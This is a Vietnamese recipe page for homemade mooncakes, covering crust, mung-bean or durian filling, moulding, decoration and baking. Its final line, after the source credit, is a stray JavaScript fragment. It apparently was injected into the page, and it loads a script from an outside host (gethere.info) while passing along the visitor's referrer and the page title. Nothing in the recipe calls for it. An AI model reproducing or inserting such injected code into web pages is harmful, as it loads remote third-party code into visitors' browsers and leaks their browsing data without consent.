trung thu sắp đến rồi hãy cùng thử sức làm ra một chiếc bánh trung thu thật đặc biệt nhé!!!
Nguyên liệu làm vỏ bánh: Dùng để làm cho khoảng 3 chiếc bánh.
Bột mì: 100gram.
Bơ trắng: 20gram.
Nước đường trắng: 60gram.
Dầu ăn: 10gram.
Màu American tùy ý.
Bộ khuôn Cutter và khuôn làm bánh Trung thu.
Nguyên liệu làm nhân bánh
Nhân bánh: Bạn có thể chọn các nguyện liệu như sầu riêng, đậu xanh, khoai môn… để làm nhân bánh.
Dầu ăn.
Đường.
Bột bánh dẻo.
Cách làm:
Phần vỏ bánh: Trộn tất cả nguyên liệu bột mì, bơ trắng, nước đường trắng và dầu ăn lại với nhau thành một loại bột. Trộn đều cho bột sánh dẻo. Sau đó chia ra bột ra thành 2 phần theo tỷ lệ 3:1. Phần bột có tỷ lệ nhiều dùng để làm vỏ bánh, phần bột này bạn nhỏ vào vài giọt màu American màu trắng. Tiếp theo bạn nhỏ vào vài giọt màu American xanh, đỏ, tím, vàng tuỳ thích vào phần bột có tỷ lệ ít để dùng nặn hình hoa, lá… trang trí bánh. Sau đó để bột nghỉ khoảng 10 phút.
Phần nhân bánh: 250 gam đậu xanh ruột ngâm nước sau đó hấp chính, xay nhuyễn và sên với đường cộng một ít bột bánh dẻo. Đối với các loại nhân bánh khác như sầu riêng, khoai môn…bạn thực hiện tương tự. Bạn cũng có thể kết hợp các loại nhân bánh lại với nhau để cho ra một loại nhân bánh mới.
Đúc khuôn bánh: Tiếp tục kết hợp phần bột vỏ bánh và phần nhân bánh lại với nhau theo tỷ lệ 2:1. Nhân bánh vo tròn thành từng viên. Tiếp tục cán mỏng phần bột vỏ bánh ra để bọc nhân lại cho kín sau đó ấn bánh vào khuôn Trung thu.
Phần hoa lá trang trí cho bánh: Sử dụng lại phần bột làm vỏ bánh đã chừa ban đầu để nặn hình hoa lá trang trí cho bánh. Nếu không khéo tay, bạn có thể sử dụng bộ khuôn Cutter để tạo hình hoa lá
Cuối cùng: Nướng bánh ở mức 170 độ trong 30 phút bằng lò nướng bánh chuyên dụng và măm măm sản phẩm của mình thôi. Lưu ý nếu là nhân bánh tự làm bạn phải dùng bánh trong 2 đến 3 ngày vì chúng ta không sử dụng chất bảo quản.
Theo mưctimonline
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
